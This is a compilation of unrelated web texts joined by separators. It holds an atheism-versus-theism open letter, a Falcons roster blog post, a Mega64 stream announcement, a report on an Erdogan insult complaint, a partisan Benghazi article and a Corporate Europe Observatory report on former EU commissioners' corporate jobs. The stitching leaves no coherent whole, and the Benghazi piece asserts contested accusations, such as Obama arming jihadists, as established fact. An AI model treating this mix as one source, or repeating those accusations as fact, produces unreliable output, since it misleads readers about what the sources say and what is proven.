You may want to counter that you have many well-regarded and brilliant personalities who have provided more than sufficient evidence to knock theism back to the Bronze Age where it belongs. Hitchens, Dawkins, Weinberg, et al are big time, unapologetic, capital "A" atheists. I've read many of their books and found much of them to be polemics against Christianity and ill-conceived take downs of classical philosophical and scientific arguments that make the idea of a Creator seem more than plausible. See here for a great rebuttal of Dawkin's "The Ultimate 747 Argument." But even if the arguments were more persuasive and comprehensive, surely you are aware that believers are ready to parry with many philosophers and scientists of our own, people like Anthony Flew, the Oxford philosopher and sparring partner of C.S. Lewis (who was a pillar of academic atheism until he reversed his position late in his life), theoretical physicist Dr. Andrew Goldfinger, and the mathematical physicist and cosmologist Frank Tipler. You will quote your expert and I will quote mine. Strangely, they disagree ... utterly. At the end of the day, it's always going to be a draw, each of us convinced that our own arguments are superior and that the other is (perhaps willfully) missing the point.
Having spent a sizable portion of my life as an atheist, I understand your perspective. What I have found hard to understand from my new vantage point, however, is why so many of you spend so much time trolling around the comments section of religiously-themed blogs or spend good money to buy billboards on the Jersey Turnpike asserting a negative. Wouldn't it make much more sense to just chuckle knowingly to yourselves and shake your heads at our folly in the way you might with children who believe they have magic powers? Yet, many of you seem to have a big axe to grind, and I only recently realized why. You believe that we are ruining the world and stunting its progress. You will point out all of the violence carried out in religion's name. We will point out that equally severe evils have been perpetrated by secularists such as Hitler, Mao, Stalin and Pol Pot. You deride us as anti-science, to which we respond that we're really not, but, rather, see scientific proof and inquiry as subject to certain inherent limits. You do not find our responses any more compelling than we find your criticisms to be insightful.
To me, however, the crux of the matter is incontrovertible. It is not the product of rational argument, nor expression of faith, but simple historical fact. The faith to which I ascribe has brought substantial light and unique meaning to the world. Some great thinkers readily embrace this idea. Have a look at this quote from British historian Paul Johnson:
"To them (the Jews) we owe the idea of equality before the law, both divine and human; of the sanctity of life and the dignity of human person; of the individual conscience and so of personal redemption; of collective conscience and so of social responsibility; of peace as an abstract ideal and love as the foundation of justice, and many other items which constitute the basic moral furniture of the human mind. Without Jews it might have been a much emptier place."
Given this historical reality, since you're a rationalist who bases your world view on empiric evidence, could you be open to the possibility that religion isn't inherently bad?
As an empiricist, you are only prepared to believe in that which can be seen or measured. You don't enjoy my conviction that there are aspects of existence that are, by their nature, beyond the reach of science. Fine. So when we Theists look carefully at the astounding complexity and improbable fine-tuning of our universe and conclude that there's no way that this happened randomly, you then turn around and ask us to accept that it is the result of undetectable organizational forces or of an un-testable (and thus non-scientific) multiverse. Isn't your argument every bit an assertion of faith, rather than knowledge? Maybe we can at least agree that forces unseen, however we conceive of them, seem to be playing a major role in our lives?
Charles Darwin added three interesting quotes to later editions of the Origin of Species. Of these, the third, from Francis Bacon's Advancement of Learning, is especially revealing:
"To conclude, therefore, let no man out of a weak conceit of sobriety, or an ill-applied moderation, think or maintain that a man can search too far or be too well-studied in the book of God's word, or in the book of God's works; divinity and philosophy; but rather let men endeavor an endless progress or proficiency in both."
If Darwin himself could find room for belief in a God and stay faithful to his discoveries, maybe the common ground is much bigger than we currently imagine. We still have a lot to discuss. Let's do it with a caring heart, and open mind and a spirit of appreciation for our shared humanity.
Sincerely, |
Dec 15, 2013; Atlanta, GA, USA; Atlanta Falcons running back Steven Jackson (39) reacts after scoring a touchdown against the Washington Redskins during the second half at the Georgia Dome. The Falcons defeated the Redskins 27-26. Mandatory Credit: Dale Zanine-USA TODAY Sports
This move may be the riskiest that Dimitroff will ever make in his career, but it could pay dividends.
On paper, this makes complete sense. Jackson has neither rushed for more then 1,000 yards or a 4.0 yards per rush since 2012, and he’s only getting older at age 31. And not only that, but if the Atlanta Falcons were to cut Jackson they would save 3.75 million dollars in cap space.
But some things aren’t in paper and that’s the value of Jackson to this team. There’s no doubt that his veteran presence of being in the NFL for over 11 years and being so successful year in and year out gives a boost to the team. And every true fan of the league knows and respects that Steven Jackson works so hard and gives everything he has.
Welcome to our new @Atlanta_Falcons coach Dan Quinn…looking forward to meeting soon! #RISEUP — Steven Jackson (@sj39) February 5, 2015
First of all, keep in mind that 3.75 million dollars in cap space is no joke. That is enough to sign an above-average pass rusher or a reliable offensive lineman. But if they were to do so, who would start at running back?
Well, one option would be to re-sign the electrifying Antone Smith, but Smith is more of a Danny Woodhead, a Shane Vereen. He isn’t the every down back that every team needs.
Another option would be to just start Devonta Freeman. He showed potential last season as a fourth round draft pick, but it’s clear that he isn’t ready for that kind of role yet.
And finally, why not draft a running back in the second or third round and hope he becomes the next Le’veon Bell or Eddie Lacy? Or at least someone that can split carries with Freeman and Antone.
Verdict: This is a tough situation that Dimitroff and Dan Quinn will have to discuss, but the Atlanta Falcons will not cut Steven Jackson for the upcoming season. They can make some other cuts to free up more cap space that isn’t as risky, because losing a veteran like Steven Jackson may do too much hurt to not just the offense, but the defense as well. |
Today we bring you a BONUS behind the scenes clip from our "Friday the 13th The Game The Movie" video. It's a real treasure for all as we relive the moment where we destroyed a super expensive piece of equipment like morons! Wow! Incredible filmmaking! We're so proud of ourselves! Click over to YouTube and watch this remarkable piece of film school material!
As we mentioned before, this Sunday, we're gonna have an extra long stream (starting at 2PM Pacific). We're gonna go all day until 7PM when we do the Mega64 Podcast LIVE to wrap it up. We mentioned we may announce a couple things about Mega64's future, and we want to be upfront about that as possible (in the most vague way possible as well). We want to change how we conduct Mega64. Not change what it is, but change how we do it. We've been doing it the way we've been doing it for over a decade, and it's been super rad. No complaints. But we're also always thirsty to try new things and experiment. With your support, we've been able to do more of that and less having to answer to anybody to make it happen. We couldn't be more grateful. But we're often asked when we're going to take things to the next level, and we want to give every option for people to help make that possible. This weekend, on our live stream, we'll be debuting our first attempt into the crowdfunding arena. There's gonna be goals and fun events every hour, telethon style. It's gonna be a blast, and potentially a really interesting step in a bigger direction for Mega64. But the important thing is, like anything we do, it's your call if you want to support it. We're not going anywhere, and nothing you love is at risk. It's just yet another option for people who will want to see something different from Mega64. People have asked us for this for a long time, and we're bringing it to you in the most fun way we can. We hope you'll join us on Sunday at 2PM Pacific to see what we're cooking up! You can watch the stream here on our front page, or over at our Twitch page. See you this weekend! |
Turkish President Tayyip Erdogan delivers a speech in Santiago, Chile, February 1, 2016. (REUTERS/Carlos Vera)
According to Turkish media, a man filed a legal complaint against his wife on the grounds that she repeatedly insulted Turkish President Recep Tayyip Erdogan in the confines of their home.
According to news reports, the man, identified by the Yeni Safak newspaper as Ali D., had warned his wife of three years, G.D., not to curse Erdogan -- a popular albeit polarizing political figure -- when he appeared on television. She supposedly defied him, and dared him to lodge a legal case against her.
He duly obliged.
"I kept on warning her, saying why are you doing this? Our president is a good person and did good things for Turkey," the husband is quoted as saying.
"Even if it is my father who swears against or insults the president, I would not forgive and I would complain," he said.
The bizarre nature of this case belies the darker context of the moment. Erdogan is criticized by his opponents for presiding over an increasingly authoritarian state, emphasized most garishly in a spate of complaints lodged against civilians for supposedly insulting the country's powerful leader.
This included even one incident where a doctor faced charges after uploading an image to Facebook that likened Erdogan to the creature Gollum, from the fantasy "Lord of the Rings" series.
As for this couple in the news, the wife has now filed for divorce.
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In its clumsy attempt to absolve President Obama and former Secretary of State Hillary Clinton from responsibility for the deadly attack in Benghazi, Libya, the New York Times has reignited intense scrutiny and debate over the fiasco and the administration’s lies and cover-ups in its aftermath.
On December 28, the Times opened a new chapter in the ongoing furor over “Benghazigate” with an extensive, 7,000-word article by David D. Kirkpatrick entitled, “A Deadly Mix in Benghazi.” According to Kirkpatrick, his article is the result of “months of investigation by The New York Times,” which “turned up no evidence that Al Qaeda or other international terrorist groups had any role in the assault.” Moreover, he says, the September 11, 2012 attack, which resulted in the murder of four Americans — Ambassador Stevens, Sean Smith, Glen Doherty, and Tyrone Woods — “was fueled in large part by anger at an American-made video denigrating Islam.”
It is not surprising that the Times, which has staunchly supported both President Obama and Hillary Clinton, would come to their aid once more, producing a piece that echoes and affirms the administration’s Benghazi talking points, even though the facts have discredited those talking points.
A number of critics have already pointed out that Kirkpatrick’s latest article is contradicted by earlier Times reports which acknowledge the al-Qaeda ties of some of the Libyan jihadist militias (that the Obama administration, incidentally, was supporting). See, for instance, Aaron Klein at World Net Daily here and here, and Thomas Joscelyn at The Weekly Standard here.
It is also contradicted by a detailed report prepared by the Library of Congress entitled, Al-Qaeda in Libya: A Profile, issued in August, 2012, the month before the fatal Benghazi attack.
It is also interesting that the Times would once again try to lay the blame for the attack on a spontaneous riot incited by the anti-Muslim video and protests over the video in faraway Cairo, Egypt. This, of course, is a resurrection of the Barack Obama/Susan Rice/Hillary Clinton false narrative issued immediately after the fatal attack, which was an effort to cover up the fact that the event was a highly coordinated terrorist attack carried out by some of the very jihadists the administration was arming and aiding. The spontaneous riot narrative was also aimed at diverting attention from the fact that Secretary Clinton had failed to heed repeated warnings from Ambassador Stevens and State Department security personnel about the escalating danger in Benghazi and their appeals for additional security.
However, no credible evidence has been produced to support the claim that the anti-Muslim video precipitated, or contributed to, the Benghazi attack. And an in-depth analysis by Agincourt Solutions, a prominent social media monitoring firm, could find none of the alleged Internet traffic and postings in the Benghazi region that were supposedly responsible for stirring up the attackers.
Pre-emptive Defense for Hillary’s 2016 Presidential Run
The most transparent reason for the Times’ flimsy Benghazi whitewash is that the paper was trying to divert attention from Secretary Clinton’s central role in the whole sordid affair, so that a festering Benghazigate scandal would not derail her White House hopes for 2016. Mrs. Clinton and her media cheerleading section hoped Benghazi had been laid to rest with the report issued by the Accountability Review Board (ARB) in December 2012. However, the ARB report was suspect from the start. Four of the panel’s five members were appointed by Clinton herself. The ARB chairman — appointed by Clinton — was former UN Ambassador Thomas Pickering, a longtime Washington Insider (Council on Foreign Relations member and director, Trilateral Commission member). The ARB neglected to ask some of the most obvious questions and failed to interview some of the most important figures — including Secretary Clinton! And, as usually happens in these investigations, the report refrained from assigning blame to President Obama, Secretary Clinton, or her top assistants; lower-level employees and vague “systemic failure” received the blame.
Clinton resigned her State Department post in January 2013, to be replaced by Sen. John Kerry, who had provided her with protective cover on Benghazi while serving as chairman of the Senate Foreign Relations Committee.
However, Benghazigate has refused to go away. Among the copious damning evidence to surface in recent months is the testimony of Eric Allan Nordstrom, the State Department’s regional security officer in Libya, before the House Committee on Oversight & Government Reform, on May 8, 2013. Nordstrom challenged many of the ARB report’s assertions, omissions, and failures. He pointed out, for instance, that Secretary Clinton herself was required by law (the Secure Embassy Construction and Counterterrorism Act of 1999, SECCA) to personally sign off on and respond to the security requests of the security personnel.
Nordstrom noted:
The protective measures for each post are dictated by the post’s overall threat level. At the time of the Benghazi attack, only a small number of the 264 overseas diplomatic posts were rated either HIGH or CRITICAL in threat categories related to political violence, terrorism, and crime. Our posts in Benghazi and Tripoli were among those posts and the only two facilities that met no OSPB or SECCA standards.
On September 16, 2013, House Oversight and Government Reform Committee Chairman Darrell Issa (R-Calif.) released an interim report focused on the conclusions of the State Department Accountability Review Board. The ARB had placed blame on mid-level officials but did not examine the role of more senior officials involved in security decisions.
Among the charges Rep. Issa leveled at the ARB report were:
"The ARB was not fully independent,” said Chairman Issa on releasing the report. “The panel did not exhaustively examine failures and it has led to an unacceptable lack of accountability....
The State Department obstructed the congressional investigation: The State Department’s refusal to turn over ARB documents has made an independent evaluation of the ARB’s review difficult. The ARB did not record or transcribe the interviews it conducted. The State Department is withholding interview summaries created by ARB staff."
Hillary Clinton undoubtedly is happy that she left the Obama administration before the debacle of the ObamaCare rollout. She will be doing everything possible to distance herself from that albatross. However, President Obama’s repeated, blatant lies concerning healthcare (“If you like your doctor, you will be able to keep your doctor, period. If you like your health-care plan, you’ll be able to keep your health-care plan, period. No one will take it away, no matter what.”) have so destroyed his trust levels, that it is almost certain to also greatly affect public believability regarding his claims — and those of Secretary Clinton — concerning the deadly intrigue, criminal negligence, lies, and cover-ups involved in Benghazigate.
Photo at top shows inside of U.S. compound in Benghazi the day after the Sept. 11, 2012 attack: AP Images
Related articles:
Benghazi Backfire: Was Obama Arming Jihadists?
Benghazi “Whitewash” Report Still Damaging to Obama
Benghazi Report Ignores WH Lies, Obama Gunrunning to Jihadists
Benghazigate: The Disaster That Should Have Sunk Obama — and Still Could |
Summary
One in three (9 out of 26) outgoing commissioners who left office in 2014 have gone through the 'revolving door' into roles in corporations or other organisations with links to big business, leading to fears of an unhealthily close relationship between the EU's executive body and private interests, according to a new report (press release here). In our view, at least eight revolving door roles, held by four commissioners, should not have received authorisation at all, due to the risk of possible conflicts of interest. These are: authorisation of ex-commissioner (and now MEP) Viviane Reding to sit on the boards of the mining company Nyrstar , Agfa Gevaert, and the Bertelsmann Foundation (which has strong ties to the global media giant of the same name), and Siim Kallas to provide consultancy to IT company Nortal. Meanwhile, other members of the Barroso II Commission (which handled the fallout from the global financial crash of the late noughties) are now on the payroll of Bank of America Merrill Lynch (Neelie Kroes) and a major private equity firm CVC and wealth management firm Merit Capital (Karel De Gucht). Former Trade Commissioner De Gucht, who started the EU-US trade negotiations TTIP, has also received the blessing of the current Commission to join the telecoms company Belgacom (now known as Proximus) . Additionally, the former Commission President José Manuel Barroso himself has taken on new roles at the corporate lobby-fests of the European Business Summit and Bilderberg Conference.
This, however, is not a new problem. In 2011 Corporate Europe Observatory, LobbyControl, and others via the Alliance for Lobbying Transparency and Ethics Regulation (ALTER-EU) demanded better rules to tackle the revolving door after a series of scandals involving previous commissioners. We were told by the Barroso II Commission that its reformed rules reflect “best practice in Europe and in the world”. But the analysis in this report about the departing members of the second Barroso Commission, shows that the revolving door rules remain inadequate and poorly implemented.
Introduction
The tight-knit world of politicians, civil servants, industrialists, and lobbyists known as the 'Brussels bubble' lends itself to unhealthily close relationships between regulators and the regulated. Add in the phenomenon of the revolving door between the public and private sectors, and there is great potential for conflicts of interest. The revolving door reflects one aspect of the corporate capture of the EU decision-making process.
In the hierarchy of EU decision-makers the 28 European commissioners, one for each of the member states, would probably be regarded as the most important. Individually and collectively they are responsible for initiating and negotiating laws and regulations affecting 500 million citizens. It was therefore shocking to see the way in which five out of thirteen departing commissioners who served in the first Barroso Commission (2004-2010) spun through the revolving door into problematic new roles when they left office. Former commissioners, who collectively had just been handling the fall-out from the financial and economic crises, joined the boards of insurance giant Munich Re, bank BNP Paribas, and mortgage and life insurance company Credimo, to name just a few.
Most notoriously, Charlie McCreevy who had been the Commissioner for the Internal Market joined the derivatives trading unit of global investments company BNY Mellon, the board of Ryanair, and the board of Sentenial which offers payment technology to banks. Meanwhile, Günter Verheugen, the former Commissioner for Enterprise and Industry, founded consultancy firm the European Experience Company with his former Head of Cabinet, joined the international advisory board of lobby consultancy FleishmanHillard and became Senior Advisor and Vice Chairman of global banking and markets in Europe, Middle East and Africa at the Royal Bank of Scotland (RBS).
The furore that resulted was immense. Over 50,000 people signed a petition organised by the Alliance for Lobbying Transparency and Ethics Regulation (ALTER-EU) to demand action to block the revolving door. Eventually the rules, contained in the Code of Conduct for Commissioners, were reformed and mild improvements were introduced. See annex for a detailed explanation of the current rules.
Yet, despite this, as this report illustrates, the problem of the revolving door has continued as the Barroso II Commission left office.
Corporate Europe Observatory has demonstrated how attempts by corporations and corporate lobby groups to influence EU policies were more successful than ever under the Barroso II Commission, in part due to a close relationship with the Commission. CEO's Black Book showed how the Barroso II Commission came to act on behalf of corporations whether it was in the fields of climate, agriculture and food, or finance, economic and fiscal policies. The questions this report set out to answer are: to what extent has this corporate capture continued, via the revolving door, and how effective have the revised rules been in preventing it?
The new roles of the Barroso II Commission in 10 factoids
We have pulled together a spreadsheet of the new roles taken on by departing members of the Barroso II Commission. It has been collated from information in the College of Commissioners' published minutes, from access to document requests, and from other public sources. It is the only such spreadsheet publicly available. Here is a digested summary (all figures correct as of 23 October 2015):
For more details on all departing commissioners and their new roles, please consult our spreadsheet. The revolving door between the Barroso II Commission and the corporate sector
Despite the fact that the Code of Conduct for Commissioners was reformed in 2011 following the revolving door scandals involving the departures of members of the Barroso I Commission, major loopholes remain in both the rules and the way in which they are implemented (see annex at the end of this article). The failing rules allow the corporate capture of the Barroso II Commission to persist – even beyond office.
Viviane Reding (Luxembourg)
DG EMPL
Old roles: Commissioner for Justice, Fundamental Rights and Citizenship (2010-2014); Information Society and Media (2004-2010); Education and Culture (1999-2004)
New roles: MEP; Board member of Nyrstar; Board member of Agfa-Gevaert; Trustee of Bertelsmann Foundation; and others
Viviane Reding left the Commission upon her election to the European Parliament in the May 2014 elections. Despite being an MEP she retains her ethical obligations as a former commissioner. However, she has secured authorisation for a number of new paid and unpaid roles. Most notably, she applied for and received authorisation to join the boards of two companies, the mining company Nyrstar and Agfa-Gevaert (analog and digital IT), so long as she abstained from “lobbying and defending” the companies' interests to the Commission. The Ad hoc Ethical Committee was not consulted as these new roles were not considered to have links to Reding's former portfolio. This is surprising considering these are big corporations with multiple EU interests.
Reding was appointed to the board of Agfa Gevaert in May 2015; Reding has yet to join the board of Nyrstar. In our view, these roles should not have been authorised by the Commission. Reding was a commissioner for 15 years giving her huge internal knowledge, expertise, political know-how and contacts, skills that are likely to be of direct interest to these companies. She will also have taken collective decisions on many issues that are likely to be of direct interest to these companies. Yet as a board member she has a fiduciary duty to act in the interests of the company and this could conflict with her ongoing commitments to the Commission and the wider public interest.
Reding has received further authorisations of new paid roles, including as a member of the board of trustees (the Kuratorium) of the Bertelsmann Foundation, a politically-active think-tank. While separate organisations, the foundation controls the majority of shares in Bertelsmann, the global media corporation, (holding 77.6 per cent of the shares of the Bertelsmann Group) and three members of the supervisory board of the company Bertelsmann also sit on the Foundation's Kuratorium.
Reding's move to the Bertelsmann Foundation was assessed by the Ad hoc Ethical Committee and was authorised, so long as Reding avoided any conflicts of interest incompatible with the Code of Conduct for Commissioners “in particular when projects of the Bertelsmann Stiftung involved requesting and/or obtaining Community co-financing and that, within the 18 months after ceasing to hold office, she abstained from lobbying and defending the Foundation's interests to the Commission”.
Yet the Ad hoc Ethical Committee's assessment seems rather cursory, amounting only to one paragraph and apparently not reflecting on the deeper links between the company and the foundation, not to mention the wider interests of the corporation.
There is huge potential for the Bertelsmann media and services company to benefit from the political knowledge and contacts of Reding, particularly her know-how in the relevant media, privacy and education sectors. Furthermore, Reding was part of the Commission which initiated the EU-US trade negotiations (TTIP). Bertelsmann is a global media company likely to benefit from TTIP and the Foundation has massively promoted TTIP. This role should not have been authorised so soon after Reding left the Commission.
We have additional concerns that Reding holds these paid roles as a sitting MEP, particularly as she is part of the Parliament's trade committee and currently acting as rapporteur on a report to make recommendations on the negotiations for the very controversial Trade in Services Agreement or TiSA. The MEP Code of Conduct should be urgently reformed to prevent MEPs from holding certain second jobs, including consultancies, lobby jobs and paid directorships.
We contacted Viviane Reding prior to publishing this report; no response was received. More information: http://corporateeurope.org/revolvingdoorwatch/cases/viviane-reding or in our spreadsheet.
Karel De Gucht (Belgium)
European Commission Audiovisual Services
Old roles: Commissioner for Trade (2010-2014); Development and Humanitarian Affairs (2009-2010)
New roles: Member of the management boards of Belgacom (now known as Proximus); Merit Capital NV; CVC Partners; and other roles
De Gucht is the former EU Commissioner for Trade, and has been criticised by civil society for the way he consistently put big business in the driving seat of EU trade negotiations. He now has Commission authorisation to join the management boards of three different companies: telecoms company Belgacom, and two operating in the financial sector.
The Ad hoc Ethical Committee was not consulted by the Commission about De Gucht's move to Belgacom; the Commission decided that the activity was not related to De Gucht's former Commission portfolio. And yet, while De Gucht did not directly regulate telecommunications in his Commission role, he led on the negotiations for TTIP which has been of growing interest to the telecommunications sector. Belgacom (which now operates as Proximus and also owns digital media company Skynet) is the biggest telecoms operator in Belgium and a member of the lobby group European Telecommunications Network Operators' Association (ETNO). ETNO and Skynet lobbied EU trade officials on TTIP in meetings behind closed doors when De Gucht was Trade Commissioner. The telecoms/ IT sector was the third biggest lobbyist on TTIP in the two years to February 2014 (while De Gucht was still at the Commission), meaning it had the third largest number of behind-closed-doors meeting with DG Trade. Proximus is in the EU lobby register and has already spent €299,999 on lobbying this year (January-July 2015).
In our view, the Commission should not have authorised this move. It was wrong that the Ad hoc Ethical Committee was not asked to consider this case, and the standard 18 month direct lobby ban would not be sufficient to prevent the risk of possible conflicts of interest of De Gucht, a former trade commissioner, joining the board of Belgacom/ Proximus.
By contrast, the Ad hoc Ethical Committee was asked to consider De Gucht's move to CVC Capital Partners, apparently the third biggest private equity and investment advisory company in the world. The committee rejects the possibility of a conflict of interest because De Gucht's former role only involved legal frameworks for trade and investment. Again, De Gucht's wider role as an EU commissioner during the devastating global financial crisis is not taken into account. Only the Commission's Legal Service asked for the standard 18 month lobby ban to be specifically included in the authorisation decision.
De Gucht states that this role was unremunerated but further information is redacted. The Ad hoc Ethical Committee writes: “The Committee notes that the envisaged activity will be non-remunerated but that Mr De Gucht may [redaction]”. The Commission says the redacted text refers to “contractual private data” but if it referred to other non-monetary benefits accruing to De Gucht from this role, the information should not have been removed. Whether or not a role is remunerated is a major (although not the only) factor when considering revolving door moves. Whatever the case, in our view, ex-commissioners should not be able to join the board of financial companies so soon after leaving office.
De Gucht has also received authorisation to join the board (unpaid) of Merit Capital, an independent private bank and stockbroker based in Antwerp but with additional offices in Deurle, Hasselt, Kortrijk and Leuven, as well as Zürich. De Gucht's Commission declaration of financial interests of 28 March 2011 indicates that he was previously a member of the board of directors of Merit Capital Group (formerly Sequoia International) prior to joining the Commission. During his time at the Commission, he retained a substantial shareholding; his 2014 declaration said that he owned an "usufruct" proportion of 744,700 Merit Capital shares, estimated to be worth €1,900,474.
Merit Capital is not in the EU lobby register. However, Merit is active in Belgisch Financieel Forum, as well as the Belgian Corporate Finance Association, and it is a member of Febelfin, the main Belgian financial lobby group. Febelfin explicitly states that they are doing EU lobbying for their members and Febelfin is part of the European Banking Federation which is very active at the EU level.
We contacted Karel de Gucht prior to publishing this report; no response was received. More information: http://corporateeurope.org/revolvingdoorwatch/cases/karel-de-gucht or in our spreadsheet.
Neelie Kroes (Netherlands)
Gregor Fischer
Old roles: Commissioner for the Digital agenda (2010-2014); Competition (2004-2010)
New roles: Special Advisor to Bank of America Merrill Lynch; Board member of the Open Data Institute; and others
Neelie Kroes has several new roles, including acting as Special Advisor to the Bank of America Merrill Lynch (Europe, Middle East, Africa). The Commission authorised this role, after consulting the Ad hoc Ethical Committee, but we have several concerns about this.
As the committee notes, Kroes describes the role in very general terms: the only specific topic she mentions is “female leadership” and as she told the Commission, was likely to take the form of “sharing experiences, insights and exchanging perspectives”. She added: “More concretely for my role as an advisor, this means I could be requested to contribute to conferences and engaging politicians and thought leaders.” But engaging “politicians and thought leaders” sounds very much like it could entail lobbying. Her email also refers to strengthened “client engagement”. Kroes should have been asked to provide further clarification about what any of this might entail.
Kroes was told to avoid direct lobbying on behalf of BoAML for 18 months, but no mention was made of its clients or of indirect lobbying. For another of her roles, as unpaid board member of the Open Data Institute (a non-profit organisation which promotes “innovation”), Kroes was told to ensure that “that no company using the services of the Open Data Institute could unduly benefit from the knowledge and expertise she had gained during her terms of office”. It seems inconsistent and an omission not to have insisted upon a far wider lobby ban on Kroes' BoAML role.
Furthermore, Kroes was a European commissioner during the entire span of the financial crisis; we question whether it is appropriate for her to join a major bank with European interests, in any capacity, so soon after leaving the Commission. Afterall, BoAML spent over €1,250,000 in 2014 on EU lobbying (up from only €50,000 in the previous year, according to the LobbyFacts archive), on a wide range of EU dossiers.
Kroes originally joined the Commission in 2004 amidst claims of possible conflicts of interest relating to her then 25 corporate roles. Presenting herself to the Parliament for her confirmation hearing, she promised at the time that “she would not to return to the private sector once her term as Commissioner for Competition had expired”.
We attempted to contact Neelie Kroes via BoAML prior to publishing this report; no response was received. More information: http://corporateeurope.org/revolvingdoorwatch/cases/neelie-kroes or in our spreadsheet.
Siim Kallas (Estonia)
RudolfSimon
Old roles: Commissioner for Transport (2010-2014); Commissioner for Administrative Affairs, Audit and Anti-Fraud (2004-2010); Commissioner for Economic and Monetary Affairs (2004-2004)
New roles: Consultant for Nortal (terminated); Special Adviser to Commissioner Dombrovskis; Chair of Commission's High Level Group of Independent Experts on European Structural and Investment Funds; and others
The Commission authorised the appointment of Siim Kallas as a consultant to Nortal to “participate in projects promoting good governance practices in countries outside EU” on the condition that he refrained from lobbying the Commission and/or its services, for Nortal, during 18 months after the end of his mandate. Nortal is perhaps the biggest IT services company in the Baltic region and its clients include those from the public and private sectors in the oil, banking, telecoms, and manufacturing sectors.
This case was not referred to the Ad hoc Ethical Committee because there was no perceived link with Kallas' former transport portfolio. However, when Kallas applied for authorisation for this role (28 March 2015), he was already acting as Special Adviser to Commissioner Valdis Dombrovskis on the issues of “Strategic and political advice on future of EMU, economic relations with Eastern neighbourhood”. An adviser on economic relations with the EU's eastern neighbourhood could have links and/or overlaps with consultancy aimed at finding Nortal some new clients in countries outside EU. In our view, there is a fine line between offering advice to a commissioner and lobbying; but as far as the Commission is concerned, the former is allowed and the latter is apparently not.
As no reference is made to Kallas' additional role of special adviser (he does not raise it and the Commission paperwork does not mention it either) it appears that this element was not fully explored. This is a serious omission and shows the limitations of the revolving doors process as conducted by the Commission (led by the Secretariat-General, with inputs from the Legal Service), looking at new roles on a case by case basis, rather than looking at the overall portfolio of a former commissioner's new roles.
Special adviser rules and procedures may also need looking at. The declaration of activities signed by Special Adviser Kallas released under access to documents had not been updated to mention his new work for Nortal. Following a CEO complaint about this matter, the Commission has told us that Kallas has now updated his declaration.
We contacted Siim Kallas prior to publishing this report. In September 2015 he told us that,
“In June I had some speeches in Oman about Estonian experience of good governance. This was intended to help IT company Nortal to sell their IT solutions in this country. These activities have nothing to do with my role as advisor to Mr. Dombrovskis. My contract with Nortal was terminated as from the 6th of August 2015, about what I informed the European Commission. I have never lobbied for Nortal in European institutions.”
Notwithstanding Kallas' short tenure with Nortal, the Commission should not have authorised this role.
More information: http://corporateeurope.org/revolvingdoorwatch/cases/siim-kallas or in our spreadsheet.
José Manuel Barroso (Portugal)
Old role: President of the European Commission (2004-2014)
New roles: Member of Steering Group of the Bilderberg Conferences; Honorary Chairman of the Honorary Committee of the European Business Summit; and others
José Manuel Barroso has accepted, and been authorised in, 22 new positions, including ten in the academic world, plus roles in the arts, for think tanks and with speakers' bureaux. Many, although not all of these, are unpaid or honorary positions.
However, a number of his new roles raise questions as to how they were handled, including his membership of the steering group of the Bilderberg Conferences; and his role as Honorary Chairman of the Honorary Committee of the European Business Summit. These are unpaid roles and the Bilderberg role was passed to the Ad hoc Ethical Committee for an opinion. However, we are not clear how much consideration there was about the nature of the Bilderberg conference. In particular, there appears to have been little reflection on the fact that as reported by The Guardian last year: “Bilderberg is packed to the gills with senior members of powerful lobby groups” and is “big business. And big politics. And big lobbying”. It seems a strange omission not to have reminded Barroso about the ban on lobbying in the context of his Bilderberg role.
Meanwhile, the Commission did not consider that it even needed to formally authorise Barroso's new role at the European Business Summit, due to its honorary nature, despite the EBS being the largest business lobby event in the Brussels bubble calendar. It simply accepted having been notified of the role. But what does being Honorary Chairman of the Honorary Committee actually mean? Is it having your name and photo on the website, or something more? Does the committee meet in person? The Commission never clarified this. By contrast, it did go through a formal authorisation process for Barroso's new role as an (unpaid) member of the international board of the Madrid Opera House!
It is not always possible to understand the rationale of the Commission in its handling of these roles: which ones they consider require active authorisation or not, and which are passed to the committee for an opinion, or not. For the sake of clarity and transparency, in our view all new roles, unpaid and paid, and whether 'honorary' or not, should be authorised.
We contacted José Manuel Barroso via the University of Princeton prior to publishing this report; no response was received. More information: http://corporateeurope.org/revolvingdoorwatch/cases/jos-manuel-barroso or in our spreadsheet.
A few other cases of note:
Joaquín Almunia (Spain)
Among the 13 roles for which ex-Competition Commissioner Joaquín Almunia has received authorisation is as a paid member of the 'scientific committee' to produce the study 'Building the European Energy Union' by the European House-Ambrosetti. The latter is a for-profit consultancy based in Italy and its board includes senior staff from Enel, ING bank, JP Morgan and others. In fact the Energy Union study was “requested” by (and is presumably funded by) Enel, the major Italian multinational operating in the power and gas markets. Enel has its logo on the study and shares the copyright; the advisory board for the study included several Enel staff including Francesco Starace, the Chief Executive, and Simone Mori, Head of European Affairs, plus three other staffers. Commissioning third parties to undertake research and policy work in an area where they wish to boost their strategic influence is a common way for corporations to promote their agenda.
Almunia's own preface to the report talks about how to improve competitiveness: “We need to achieve the single market for electricity and gas, through interconnections, common regulations and adequate incentives for investors.” This implies that we need to build new infrastructure for fossil fuels which locks us into long-term use, while “incentives for investors” means public money to “leverage” ie subsidise dirty energy / infrastructure companies to help achieve this. While the report supports the move to decarbonisation of the EU's energy system by 2050, its policy recommendations appear to be more in tune with Enel's interests and include a single market for energy (which would make it easier for big energy companies to operate across borders), and a stronger emissions trading scheme.
Enel is a major EU lobbyist spending over €2,000,000 in 2014. Since December 2014, Enel has met top officials in the Commission at least eight times (according to IntegrityWatch), including a meeting with Vice-President Maroš Šefčovič who is responsible for the EU's Energy Union.
When the Commission was asked to authorise this role, the Ad hoc Ethical Committee said the study may “provide a useful contribution to EU endeavours”. The Commission approved Almunia's paid role in this study as long as he did not “favour the commercial interests of the companies involved”. But this is rather meaningless considering that Enel commissioned, and likely paid for, the study and has its logo all over it. The Commission should have taken a far more sceptical view about this role and the automatic benefits likely to accrue to Enel from having an ex-commissioner endorsing the study. Almunia did not respond to CEO's questions.
Maria Damanaki (Greece)
Maria Damanaki the former Commissioner for Maritime Affairs and Fisheries (2010-14) has been authorised to accept one new role as Global Managing Director for Oceans for The Nature Conservancy (TNC), a US-based NGO. The Nature Conservancy publicly announced its recruitment of Damanaki one month before the role was authorised by the Commission, something which the rules should clearly forbid. Twice Damanaki was asked to provide further information about her precise role at TNC and the nature of its activities in Europe. Ultimately, she was authorised to accept the role provided that she “abstained from lobbying the Commission and its departments on any issues with a potential link to her former portfolio... for 18 months after leaving the Commission”.
